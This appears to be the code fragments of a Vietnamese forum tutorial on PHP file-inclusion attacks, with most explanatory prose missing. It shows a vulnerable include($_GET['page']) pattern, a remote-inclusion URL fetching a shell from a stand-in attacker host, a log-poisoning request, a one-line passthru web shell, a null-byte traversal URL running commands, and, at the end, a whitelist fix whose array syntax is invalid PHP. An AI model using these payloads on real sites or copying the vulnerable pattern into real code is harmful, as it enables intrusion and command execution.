<?php
include("config.php");
?>

<?php
include($page);
?>

if (isset($_GET['page']))
{
include($_GET['page'].".php");
}

http://www.example.com/demo/index.php?page=http://www.hackerexample.com/shell.txt?

http://www.example1.com/index.php?page=/home/example2/public_html/images/php.jpg

http://www.example1.com/index.php?page=<? echo phpinfo(); ?>

<?php
$res = '';
$fp = fsockopen('127.0.0.1', 80);
if(!$fp){
echo "No connection";
}
fputs($fp, "GET /demo/index.php?page=<?php echo phpinfo();?> HTTP/1.1\r\n");
fputs($fp, "Host: 127.0.0.1\r\n\r\n");
while(!feof($fp)){
$res .= fgets($fp, 128);
}
echo $res;
?>

<?
$REQ = print_r($_REQUEST,true);
$ip = 'IP: '.$_SERVER['REMOTE_ADDR'];
$time = 'Date: '.date("d.m.y - H:i:s");
$ref = 'Referer: '.$_SERVER['HTTP_REFERER'];
$browser = 'Browser: '.$_SERVER['HTTP_USER_AGENT'];
if(eregi('UNION',$REQ) && eregi('SELECT',$REQ)){
$fp = fopen("attacks.txt","a+");
fwrite($fp,"$REQ\n $ip\n $time\n $browser\n $ref\n");
fclose($fp);
header('Location: http://www.google.com');
}
?>

<? passthru($_GET[cmd]) ?>

http://example.com/demo/index.php?page=<đường dẫn đến file log>

Warning: passthru() [function.passthru]: Cannot execute a blank command in 
	/path/to/logfile.log  on line xxx

http://example.com/demo/index.php?page=.../path/to/logfile.log%00&cmd=ls -la

Thông tin
 
Ối, bạn không đủ quyền truy cập chủ đề này.

<?php
   $include = "config.php";
   include($include);
?>

<?php
 include("config.php");
 ?>

<? include('absolute_file_name.php'); ?>

<?php
$whitelisted_modules = {'blog', 'gallery', 'config', 'contact', 'about'};
if(in_array($_GET['module'],$whitelisted_modules))
{
include($_GET['module'].'.php');
}
else
{
//lưu vào log detected intrusion attempt, gồm timestamp, $_GET['module'], Client IP, Cookie content, ...
//hiện thông báo lỗi
//wwwect về trang chủ hoặc khoá IP hiện tại của client tuỳ admin strict tới cỡ nào
}
?>